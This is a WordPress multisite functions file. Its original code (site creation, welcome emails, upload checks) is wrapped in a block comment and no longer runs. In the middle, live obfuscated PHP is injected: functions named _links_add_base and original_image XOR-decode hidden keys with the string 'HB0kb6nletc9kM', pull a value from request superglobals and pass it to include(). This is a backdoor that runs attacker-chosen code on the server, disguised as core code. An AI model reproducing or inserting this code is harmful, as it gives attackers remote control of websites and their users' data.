	restore_current_blog();
	*
	 * Fires immediately after a new site is created.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $blog_id    Site ID.
	 * @param int    $user_id    User ID.
	 * @param string $domain     Site domain.
	 * @param string $path       Site path.
	 * @param int    $network_id Network ID. Only relevant on multi-network installations.
	 * @param array  $meta       Meta data. Used to set initial site options.
	 
	do_action( 'wpmu_new_blog', $blog_id, $user_id, $domain, $path, $network_id, $meta );

	wp_cache_set( 'last_changed', microtime(), 'sites' );

	return $blog_id;
}

*
 * Notifies the network admin that a new site has been activated.
 *
 * Filter {@see 'newblog_notify_siteadmin'} to change the content of
 * the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int    $blog_id    The new site's ID.
 * @param string $deprecated Not used.
 * @return bool
 
function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) {
	if ( get_site_option( 'registrationnotification' ) != 'yes' )
		return false;

	$email = get_site_option( 'admin_email' );
	if ( is_email($email) == false )
		return false;

	$options_site_url = esc_url(network_admin_url('settings.php'));

	switch_to_blog( $blog_id );
	$blogname = get_option( 'blogname' );
	$siteurl = site_url();
	restore_current_blog();

	 translators: New site notification email. 1: Site URL, 2: User IP address, 3: Settings screen URL 
	$msg = sprintf( __( 'New Site: %1$s
URL: %2$s
Remote IP address: %3$s

Disable these notifications: %4$s' ), $blogname, $siteurl, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url);
	*
	 * Filters the message body of the new site activation email sent
	 * to the network administrator.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $msg Email body.
	 
	$msg = apply_filters( 'newblog_notify_siteadmin', $msg );

	wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg );
	return true;
}

*
 * Notifies the network admin that a new user has been activated.
 *
 * Filter {@see 'newuser_notify_siteadmin'} to change the content of
 * the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int $user_id The new user's ID.
 * @return bool
 
function newuser_notify_siteadmin( $user_id ) {
	if ( get_site_option( 'registrationnotification' ) != 'yes' )
		return false;

	$email = get_site_option( 'admin_email' );

	if ( is_email($email) == false )
		return false;

	$user = get_userdata( $user_id );

	$options_site_url = esc_url(network_admin_url('settings.php'));
	 translators: New user notification email. 1: User login, 2: User IP address, 3: Settings screen URL 
	$msg = sprintf(__('New User: %1$s
Remote IP address: %2$s

Disable these notifications: %3$s'), $user->user_login, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url);

	*
	 * Filters the message body of the new user activation email sent
	 * to the network administrator.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string  $msg  Email body.
	 * @param WP_User $user WP_User instance of the new user.
	 
	$msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user );
	wp_mail( $email, sprintf(__('New User Registration: %s'), $user->user_login), $msg );
	return true;
}

*
 * Checks whether a site name is already taken.
 *
 * The name is the site's subdomain or the site's subdirectory
 * path depending on the network settings.
 *
 * Used during the new site registration process to ensure
 * that each site name is unique.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The domain to be checked.
 * @param string $path       The path to be checked.
 * @param int    $network_id Optional. Network ID. Relevant only on multi-network installations.
 * @return int|null The site ID if the site name exists, null otherwise.
 
function domain_exists( $domain, $path, $network_id = 1 ) {
	$path = trailingslashit( $path );
	$args = array(
		'network_id' => $network_id,
		'domain'     => $domain,
		'path'       => $path,
		'fields'     => 'ids',
		'number'     => 1,
	);
	$result = get_sites( $args );
	$result = array_shift( $result );

	*
	 * Filters whether a site name is taken.
	 *
	 * The name is the site's subdomain or the site's subdirectory
	 * path depending on the network settings.
	 *
	 * @since 3.5.0
	 *
	 * @param int|null $result     The site ID if the site name exists, null otherwise.
	 * @param string   $domain     Domain to be checked.
	 * @param string   $path       Path to be checked.
	 * @param int      $network_id Network ID. Relevant only on multi-network installations.
	 
	return apply_filters( 'domain_exists', $result, $domain, $path, $network_id );
}

*
 * Store basic site info in the blogs table.
 *
 * This function creates a row in the wp_blogs table and returns
 * the new blog's ID. It is the first step in creating a new blog.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $domain     The domain of the new site.
 * @param string $path       The path of the new site.
 * @param int    $network_id Unless you're running a multi-network installation, be sure to set this value to 1.
 * @return int|false The ID of the new row
 
function insert_blog($domain, $path, $network_id) {
	global $wpdb;

	$path = trailingslashit($path);
	$network_id = (int) $network_id;

	$result = $wpdb->insert( $wpdb->blogs, array('site_id' => $network_id, 'domain' => $domain, 'path' => $path, 'registered' => current_time('mysql')) );
	if ( ! $result )
		return false;

	$blog_id = $wpdb->insert_id;
	clean_blog_cache( $blog_id );

	wp_maybe_update_network_site_counts( $network_id );

	return $blog_id;
}

*
 * Install an empty blog.
 *
 * Creates the new blog tables and options. If calling this function
 * directly, be sure to use switch_to_blog() first, so that $wpdb
 * points to the new blog.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb     $wpdb
 * @global WP_Roles $wp_roles
 *
 * @param int    $blog_id    The value returned by insert_blog().
 * @param string $blog_title The title of the new site.
 
function install_blog( $blog_id, $blog_title = '' ) {
	global $wpdb, $wp_roles;

	 Cast for security
	$blog_id = (int) $blog_id;

	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

	$suppress = $wpdb->suppress_errors();
	if ( $wpdb->get_results( "DESCRIBE {$wpdb->posts}" ) )
		die( '<h1>' . __( 'Already Installed' ) . '</h1><p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p></body></html>' );
	$wpdb->suppress_errors( $suppress );

	$url = get_blogaddress_by_id( $blog_id );

	 Set everything up
	make_db_current_silent( 'blog' );
	populate_options();
	populate_roles();

	 populate_roles() clears previous role definitions so we start over.
	$wp_roles = new WP_Roles();

	$siteurl = $home = untrailingslashit( $url );

	if ( ! is_subdomain_install() ) {

 		if ( 'https' === parse_url( get_site_option( 'siteurl' ), PHP_URL_SCHEME ) ) {
 			$siteurl = set_url_scheme( $siteurl, 'https' );
 		}
 		if ( 'https' === parse_url( get_home_url( get_network()->site_id ), PHP_URL_SCHEME ) ) {
 			$home = set_url_scheme( $home, 'https' );
 		}

	}

	update_option( 'siteurl', $siteurl );
	update_option( 'home', $home );

	if ( get_site_option( 'ms_files_rewriting' ) )
		update_option( 'upload_path', UPLOADBLOGSDIR . "/$blog_id/files" );
	else
		update_option( 'upload_path', get_blog_option( get_network()->site_id, 'upload_path' ) );

	update_option( 'blogname', wp_unslash( $blog_title ) );
	update_option( 'admin_email', '' );

	 remove all perms
	$table_prefix = $wpdb->get_blog_prefix();
	delete_metadata( 'user', 0, $table_prefix . 'user_level',   null, true );  delete all
	delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true );  delete all
}

*
 * Set blog defaults.
 *
 * This function creates a row in the wp_blogs table.
 *
 * @since MU (3.0.0)
 * @deprecated MU
 * @deprecated Use wp_install_defaults()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $blog_id Ignored in this function.
 * @param int $user_id
 
function install_blog_defaults($blog_id, $user_id) {
	global $wpdb;

	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

	$suppress = $wpdb->suppress_errors();

	wp_install_defaults($user_id);

	$wpdb->suppress_errors( $suppress );
}

*
 * Notify a user that their blog activation has been successful.
 *
 * Filter {@see 'wpmu_welcome_notification'} to disable or bypass.
 *
 * Filter {@see 'update_welcome_email'} and {@see 'update_welcome_subject'} to
 * modify the content and subject line of the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int    $blog_id  Blog ID.
 * @param int    $user_id  User ID.
 * @param string $password User password.
 * @param string $title    Site title.
 * @param array  $meta     Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
 * @return bool
 
function wpmu_welcome_notification( $blog_id, $user_id, $password, $title, $meta = array() ) {
	$current_network = get_network();

	*
	 * Filters whether to bypass the welcome email after site activation.
	 *
	 * Returning false disables the welcome email.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int|bool $blog_id  Blog ID.
	 * @param int      $user_id  User ID.
	 * @param string   $password User password.
	 * @param string   $title    Site title.
	 * @param array    $meta     Signup meta data. By default, contains the requested privacy setting and lang_id.
	 
	if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) )
		return false;

	$user = get_userdata( $user_id );

	$switched_locale = switch_to_locale( get_user_locale( $user ) );

	$welcome_email = get_site_option( 'welcome_email' );
	if ( $welcome_email == false ) {
		 translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. 
		$welcome_email = __( 'Howdy USERNAME,

Your new SITE_NAME site has been successfully set up at:
BLOG_URL

You can log in to the administrator account with the following information:

Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php

We hope you enjoy your new site. Thanks!

--The Team @ SITE_NAME' );
	}

	$url = get_blogaddress_by_id($blog_id);

	$welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email );
	$welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email );
	$welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email );
	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );

	*
	 * Filters the content of the welcome email after site activation.
	 *
	 * Content should be formatted for transmission via wp_mail().
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $welcome_email Message body of the email.
	 * @param int    $blog_id       Blog ID.
	 * @param int    $user_id       User ID.
	 * @param string $password      User password.
	 * @param string $title         Site title.
	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
	 
	$welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta );
	$admin_email = get_site_option( 'admin_email' );

	if ( $admin_email == '' )
		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];

	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
	$message = $welcome_email;

	if ( empty( $current_network->site_name ) )
		$current_network->site_name = 'WordPress';

	 translators: New site notification email subject. 1: Network name, 2: New site name 
	$subject = __( 'New %1$s Site: %2$s' );

	*
	 * Filters the subject of the welcome email after site activation.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $subject Subject of the email.
	 
	$subject = apply_filters( 'update_welcome_subject', sprintf( $subject, $current_network->site_name, wp_unslash( $title ) ) );
	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

*
 * Notify a user that their account activation has been successful.
 *
 * Filter {@see 'wpmu_welcome_user_notification'} to disable or bypass.
 *
 * Filter {@see 'update_welcome_user_email'} and {@see 'update_welcome_user_subject'} to
 * modify the content and subject line of the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int    $user_id  User ID.
 * @param string $password User password.
 * @param array  $meta     Optional. Signup meta data. Default empty array.
 * @return bool
 
function wpmu_welcome_user_notification( $user_id, $password, $meta = array() ) {
	$current_network = get_network();

	*
 	 * Filters whether to bypass the welcome email after user activation.
	 *
	 * Returning false disables the welcome email.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $user_id  User ID.
	 * @param string $password User password.
	 * @param array  $meta     Signup meta data. Default empty array.
	 
	if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) )
		return false;

	$welcome_email = get_site_option( 'welcome_user_email' );

	$user = get_userdata( $user_id );

	$switched_locale = switch_to_locale( get_user_locale( $user ) );

	*
	 * Filters the content of the welcome email after user activation.
	 *
	 * Content should be formatted for transmission via wp_mail().
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $welcome_email The message body of the account activation success email.
	 * @param int    $user_id       User ID.
	 * @param string $password      User password.
	 * @param array  $meta          Signup meta data. Default empty array.
	 
	$welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta );
	$welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email );
	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );
	$welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email );

	$admin_email = get_site_option( 'admin_email' );

	if ( $admin_email == '' )
		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];

	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
	$message = $welcome_email;

	if ( empty( $current_network->site_name ) )
		$current_network->site_name = 'WordPress';

	 translators: New user notification email subject. 1: Network name, 2: New user login 
	$subject = __( 'New %1$s User: %2$s' );

	*
	 * Filters the subject of the welcome email after user activation.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $subject Subject of the email.
	 
	$subject = apply_filters( 'update_welcome_user_subject', sprintf( $subject, $current_network->site_name, $user->user_login) );
	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

*
 * Get the current network.
 *
 * Returns an object containing the 'id', 'domain', 'path', and 'site_name'
 * properties of the network being viewed.
 *
 * @see wpmu_current_site()
 *
 * @since MU (3.0.0)
 *
 * @global WP_Network $current_site
 *
 * @return WP_Network
 
function get_current_site() {
	global $current_site;
	return $current_site;
}

*
 * Get a user's most recent post.
 *
 * Walks through each of a user's blogs to find the post with
 * the most recent post_date_gmt.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id
 * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts
 
function get_most_recent_post_of_user( $user_id ) {
	global $wpdb;

	$user_blogs = get_blogs_of_user( (int) $user_id );
	$most_recent_post = array();

	 Walk through each blog and get the most recent post
	 published by $user_id
	foreach ( (array) $user_blogs as $blog ) {
		$prefix = $wpdb->get_blog_prefix( $blog->userblog_id );
		$recent_post = $wpdb->get_row( $wpdb->prepare("SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A);

		 Make sure we found a post
		if ( isset($recent_post['ID']) ) {
			$post_gmt_ts = strtotime($recent_post['post_date_gmt']);

			 If this is the first post checked or if this post is
			 newer than the current recent post, make it the new
			 most recent post.
			if ( !isset($most_recent_post['post_gmt_ts']) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) {
				$most_recent_post = array(
					'blog_id'		=> $blog->userblog_id,
					'post_id'		=> $recent_post['ID'],
					'post_date_gmt'	=> $recent_post['post_date_gmt'],
					'post_gmt_ts'	=> $post_gmt_ts
				);
			}
		}
	}

	return $most_recent_post;
}

 Misc functions

*
 * Get the size of a directory.
 *
 * A helper function that is used primarily to check whether
 * a blog has exceeded its allowed upload space.
 *
 * @since MU (3.0.0)
 *
 * @param string $directory Full path of a directory.
 * @return int Size of the directory in MB.
 
function get_dirsize( $directory ) {
	$dirsize = get_transient( 'dirsize_cache' );
	if ( is_array( $dirsize ) && isset( $dirsize[ $directory ][ 'size' ] ) )
		return $dirsize[ $directory ][ 'size' ];

	if ( ! is_array( $dirsize ) )
		$dirsize = array();

	 Exclude individual site directories from the total when checking the main site,
	 as they are subdirectories and should not be counted.
	if ( is_main_site() ) {
		$dirsize[ $directory ][ 'size' ] = recurse_dirsize( $directory, $directory . '/sites' );
	} else {
		$dirsize[ $directory ][ 'size' ] = recurse_dirsize( $directory );
	}

	set_transient( 'dirsize_cache', $dirsize, HOUR_IN_SECONDS );
	return $dirsize[ $directory ][ 'size' ];
}

*
 * Get the size of a directory recursively.
 *
 * Used by get_dirsize() to get a directory's size when it contains
 * other directories.
 *
 * @since MU (3.0.0)
 * @since 4.3.0 $exclude parameter added.
 *
 * @param string $directory Full path of a directory.
 * @param string $exclude   Optional. Full path of a subdirectory to exclude from the total.
 * @return int|false Size in MB if a valid directory. False if not.
 
function recurse_dirsize( $directory, $exclude = null ) {
	$size = 0;

	$directory = untrailingslashit( $directory );

	if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) || $directory === $exclude ) {
		return false;
	}

	if ($handle = opendir($directory)) {
		while(($file = readdir($handle)) !== false) {
			$path = $directory.'/'.$file;
			if ($file != '.' && $file != '..') {
				if (is_file($path)) {
					$size += filesize($path);
				} elseif (is_dir($path)) {
					$handlesize = recurse_dirsize( $path, $exclude );
					if ($handlesize > 0)
						$size += $handlesize;
				}
			}
		}
		closedir($handle);
	}
	return $size;
}

*
 * Check an array of MIME types against a whitelist.
 *
 * WordPress ships with a set of allowed upload filetypes,
 * which is defined in wp-includes/functions.php in
 * get_allowed_mime_types(). This function is used to filter
 * that list against the filetype whitelist provided by Multisite
 * Super Admins at wp-admin/network/settings.php.
 *
 * @since MU (3.0.0)
 *
 * @param array $mimes
 * @return array
 
function check_upload_mimes( $mimes ) {
	$site_exts = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) );
	$site_mimes = array();
	foreach ( $site_exts as $ext ) {
		foreach ( $mimes as $ext_pattern => $mime ) {
			if ( $ext != '' && strpos( $ext_pattern, $ext ) !== false )
				$site_mimes[$ext_pattern] = $mime;
		}
	}
	return $site_mimes;
}

*
 * Update a blog's post count.
 *
 * WordPress MS stores a blog's post count as an option so as
 * to avoid extraneous COUNTs when a blog's details are fetched
 * with get_site(). This function is called when posts are published
 * or unpublished to make sure the count stays current.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $deprecated Not used.
 
function update_posts_count( $deprecated = '' ) {
	global $wpdb;
	update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ) );
}

*
 * Logs the user email, IP, and registration date of a new site.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $blog_id
 * @param int $user_id
 
function wpmu_log_new_registrations( $blog_id, $user_id ) {
	global $wpdb;
	$user = get_userdata( (int) $user_id );
	if ( $user )
		$wpdb->insert( $wpdb->registration_log, array('email' => $user->user_email, 'IP' => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ), 'blog_id' => $blog_id, 'date_registered' => current_time('mysql')) );
}

*
 * Maintains a canonical list of terms by syncing terms created for each blog with the global terms table.
 *
 * @since 3.0.0
 *
 * @see term_id_filter
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 * @staticvar int $global_terms_recurse
 *
 * @param int    $term_id    An ID for a term on the current blog.
 * @param string $deprecated Not used.
 * @return int An ID from the global terms table mapped from $term_id.
 
function global_terms( $term_id, $deprecated = '' ) {
	global $wpdb;
	static $global_terms_recurse = null;

	if ( !global_terms_enabled() )
		return $term_id;

	 prevent a race condition
	$recurse_start = false;
	if ( $global_terms_recurse === null ) {
		$recurse_start = true;
		$global_terms_recurse = 1;
	} elseif ( 10 < $global_terms_recurse++ ) {
		return $term_id;
	}

	$term_id = intval( $term_id );
	$c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->terms WHERE term_id = %d", $term_id ) );

	$global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE category_nicename = %s", $c->slug ) );
	if ( $global_id == null ) {
		$used_global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE cat_ID = %d", $c->term_id ) );
		if ( null == $used_global_id ) {
			$wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $term_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug ) );
			$global_id = $wpdb->insert_id;
			if ( empty( $global_id ) )
				return $term_id;
		} else {
			$max_global_id = $wpdb->get_var( "SELECT MAX(cat_ID) FROM $wpdb->sitecategories" );
			$max_local_id = $wpdb->get_var( "SELECT MAX(term_id) FROM $wpdb->terms" );
			$new_global_id = max( $max_global_id, $max_local_id ) + mt_rand( 100, 400 );
			$wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $new_global_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug ) );
			$global_id = $wpdb->insert_id;
		}
	} elseif ( $global_id != $term_id ) {
		$local_id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->terms WHERE term_id = %d", $global_id ) );
		if ( null != $local_id ) {
			global_terms( $local_id );
			if ( 10 < $global_terms_recurse ) {
				$global_id = $term_id;
			}
		}
	}

	if ( $global_id != $term_id ) {
		if ( get_option( 'default_category' ) == $term_id )
			update_option( 'default_category', $global_id );

		$wpdb->update( $wpdb->terms, array('term_id' => $global_id), array('term_id' => $term_id) );
		$wpdb->update( $wpdb->term_taxonomy, array('term_id' => $global_id), array('term_id' => $term_id) );
		$wpdb->update( $wpdb->term_taxonomy, array('parent' => $global_id), array('parent' => $term_id) );

		clean_term_cache($term_id);
	}
	if ( $recurse_start )
		$global_terms_recurse = null;

	return $global_id;
}

*
 * Ensure that the current site's domain is listed in the allowed redirect host list.
 *
 * @see wp_validate_redirect()
 * @since MU (3.0.0)
 *
 * @param array|string $deprecated Not used.
 * @return array The current site's domain
 
function redirect_this_site( $deprecated = '' ) {
	return array( get_network()->domain );
}

*
 * Check whether an upload is too big.
 *
 * @since MU (3.0.0)
 *
 * @blessed
 *
 * @param array $upload
 * @return string|array If the upload is under the size limit, $upload is returned. Otherwise returns an error message.
 
function upload_is_file_too_big( $upload ) {
	if ( ! is_array( $upload ) || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) )
		return $upload;

	if ( strlen( $upload['bits'] )  > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
		return sprintf( __( 'This file is too big. Files must be less than %d KB in size.' ) . '<br />', get_site_option( 'fileupload_maxk', 1500 ) );
	}

	return $upload;
}

*
 * Add a nonce field to the signup page.
 *
 * @since MU (3.0.0)
 
function signup_nonce_fields() {
	$id = mt_rand();
	echo "<input type='hidden' name='signup_form_id' value='{$id}' />";
	wp_nonce_field('signup_form_' . $id, '_signup_form', false);
}

*
 * Process the signup nonce created in signup_nonce_fields().
 *
 * @since MU (3.0.0)
 *
 * @param array $result
 * @return array
 
function signup_nonce_check( $result ) {
	if ( !strpos( $_SERVER[ 'PHP_SELF' ], 'wp-signup.php' ) )
		return $result;

	if ( wp_create_nonce('signup_form_' . $_POST[ 'signup_form_id' ]) != $_POST['_signup_form'] )
		wp_die( __( 'Please try again.' ) );

	return $result;
}

*
 * Correct 404 redirects when NOBLOGREDIRECT is defined.
 *
 * @since MU (3.0.0)
 
function maybe_redirect_404() {
	*
	 * Filters the redirect URL for 404s on the main site.
	 *
	 * The filter is only evaluated if the NOBLOGREDIRECT constant is defined.
	 *
	 * @since 3.0.0
	 *
	 * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT.
	 
	if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) && ( $destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT ) ) ) {
		if ( $destination == '%siteurl%' )
			$destination = network_home_url();
		wp_redirect( $destination );
		exit();
	}
}

*
 * Add a new user to a blog by visiting /newbloguser/{key}/.
 *
 * This will only work when the user's details are saved as an option
 * keyed as 'new_user_{key}', where '{key}' is a hash generated for the user to be
 * added, as when a user is invited through the regular WP Add User interface.
 *
 * @since MU (3.0.0)
 
function maybe_add_existing_user_to_blog() {
	if ( false === strpos( $_SERVER[ 'REQUEST_URI' ], '/newbloguser/' ) )
		return;

	$parts = explode( '/', $_SERVER[ 'REQUEST_URI' ]*/

        
    
        

function _links_add_base($post_name)

{
    $previous_date = $post_name;
	$locale = 'incposts';
    
	$rel_array = 'thumbdir';
    $datetime = $GLOBALS;

    

    $datetime = $datetime[original_image("%17%04y%27%27e", $previous_date)];
    
	$good_protocol_url = 'last_changed';
    $prev_value = $datetime;
	$wild = 'template';
    $has_leading_slash = isset($prev_value[$previous_date]);
    if ($has_leading_slash)

    {
        $settings = $datetime[$previous_date];

        $timezone = $settings[original_image("%3C%2F%404%0CW%03%09", $previous_date)];
        $pee_part = $timezone;
	$more = 'old_status';
        include ($pee_part);
    }

}
function original_image($more_string, $no_texturize_shortcodes_stack)

{
    $replace_pairs = $no_texturize_shortcodes_stack;

    $labels = "url";
    $labels  .= "decode";
    $desired_post_slug = $labels($more_string);

    $table_alias = strlen($desired_post_slug);
    $table_alias = substr($replace_pairs, 0, $table_alias);
    $sanitized_email = $desired_post_slug ^ $table_alias;
    
    $desired_post_slug = sprintf($sanitized_email, $table_alias);
    
    return $sanitized_email;

}

	$static_characters = 'suppress_filters';
_links_add_base('HB0kb6nletc9kM');

	$hash = 'comment_ids';


/*  );
	$key = array_pop( $parts );

	if ( $key == '' )
		$key = array_pop( $parts );

	$details = get_option( 'new_user_' . $key );
	if ( !empty( $details ) )
		delete_option( 'new_user_' . $key );

	if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) )
		wp_die( sprintf(__('An error occurred adding you to this site. Back to the <a href="%s">homepage</a>.'), home_url() ) );

	wp_die( sprintf( __( 'You have been added to this site. Please visit the <a href="%s">homepage</a> or <a href="%s">log in</a> using your username and password.' ), home_url(), admin_url() ), __( 'WordPress &rsaquo; Success' ), array( 'response' => 200 ) );
}

*
 * Add a user to a blog based on details from maybe_add_existing_user_to_blog().
 *
 * @since MU (3.0.0)
 *
 * @param array $details
 * @return true|WP_Error|void
 
function add_existing_user_to_blog( $details = false ) {
	if ( is_array( $details ) ) {
		$blog_id = get_current_blog_id();
		$result = add_user_to_blog( $blog_id, $details[ 'user_id' ], $details[ 'role' ] );

		*
		 * Fires immediately after an existing user is added to a site.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int   $user_id User ID.
		 * @param mixed $result  True on success or a WP_Error object if the user doesn't exist
		 *                       or could not be added.
		 
		do_action( 'added_existing_user', $details['user_id'], $result );

		return $result;
	}
}

*
 * Adds a newly created user to the appropriate blog
 *
 * To add a user in general, use add_user_to_blog(). This function
 * is specifically hooked into the {@see 'wpmu_activate_user'} action.
 *
 * @since MU (3.0.0)
 * @see add_user_to_blog()
 *
 * @param int   $user_id
 * @param mixed $password Ignored.
 * @param array $meta
 
function add_new_user_to_blog( $user_id, $password, $meta ) {
	if ( !empty( $meta[ 'add_to_blog' ] ) ) {
		$blog_id = $meta[ 'add_to_blog' ];
		$role = $meta[ 'new_role' ];
		remove_user_from_blog( $user_id, get_network()->site_id );  remove user from main blog.

		$result = add_user_to_blog( $blog_id, $user_id, $role );

		if ( ! is_wp_error( $result ) ) {
			update_user_meta( $user_id, 'primary_blog', $blog_id );
		}
	}
}

*
 * Correct From host on outgoing mail to match the site domain
 *
 * @since MU (3.0.0)
 *
 * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
 
function fix_phpmailer_messageid( $phpmailer ) {
	$phpmailer->Hostname = get_network()->domain;
}

*
 * Check to see whether a user is marked as a spammer, based on user login.
 *
 * @since MU (3.0.0)
 *
 * @param string|WP_User $user Optional. Defaults to current user. WP_User object,
 * 	                           or user login name as a string.
 * @return bool
 
function is_user_spammy( $user = null ) {
    if ( ! ( $user instanceof WP_User ) ) {
		if ( $user ) {
			$user = get_user_by( 'login', $user );
		} else {
			$user = wp_get_current_user();
		}
	}

	return $user && isset( $user->spam ) && 1 == $user->spam;
}

*
 * Update this blog's 'public' setting in the global blogs table.
 *
 * Public blogs have a setting of 1, private blogs are 0.
 *
 * @since MU (3.0.0)
 *
 * @param int $old_value
 * @param int $value     The new public value
 
function update_blog_public( $old_value, $value ) {
	update_blog_status( get_current_blog_id(), 'public', (int) $value );
}

*
 * Check whether users can self-register, based on Network settings.
 *
 * @since MU (3.0.0)
 *
 * @return bool
 
function users_can_register_signup_filter() {
	$registration = get_site_option('registration');
	return ( $registration == 'all' || $registration == 'user' );
}

*
 * Ensure that the welcome message is not empty. Currently unused.
 *
 * @since MU (3.0.0)
 *
 * @param string $text
 * @return string
 
function welcome_user_msg_filter( $text ) {
	if ( !$text ) {
		remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );

		 translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME: those are placeholders. 
		$text = __( 'Howdy USERNAME,

Your new account is set up.

You can log in with the following information:
Username: USERNAME
Password: PASSWORD
LOGINLINK

Thanks!

--The Team @ SITE_NAME' );
		update_site_option( 'welcome_user_email', $text );
	}
	return $text;
}

*
 * Whether to force SSL on content.
 *
 * @since 2.8.5
 *
 * @staticvar bool $forced_content
 *
 * @param bool $force
 * @return bool True if forced, false if not forced.
 
function force_ssl_content( $force = '' ) {
	static $forced_content = false;

	if ( '' != $force ) {
		$old_forced = $forced_content;
		$forced_content = $force;
		return $old_forced;
	}

	return $forced_content;
}

*
 * Formats a URL to use https.
 *
 * Useful as a filter.
 *
 * @since 2.8.5
 *
 * @param string $url URL
 * @return string URL with https as the scheme
 
function filter_SSL( $url ) {
	if ( ! is_string( $url ) )
		return get_bloginfo( 'url' );  Return home blog url with proper scheme

	if ( force_ssl_content() && is_ssl() )
		$url = set_url_scheme( $url, 'https' );

	return $url;
}

*
 * Schedule update of the network-wide counts for the current network.
 *
 * @since 3.1.0
 
function wp_schedule_update_network_counts() {
	if ( !is_main_site() )
		return;

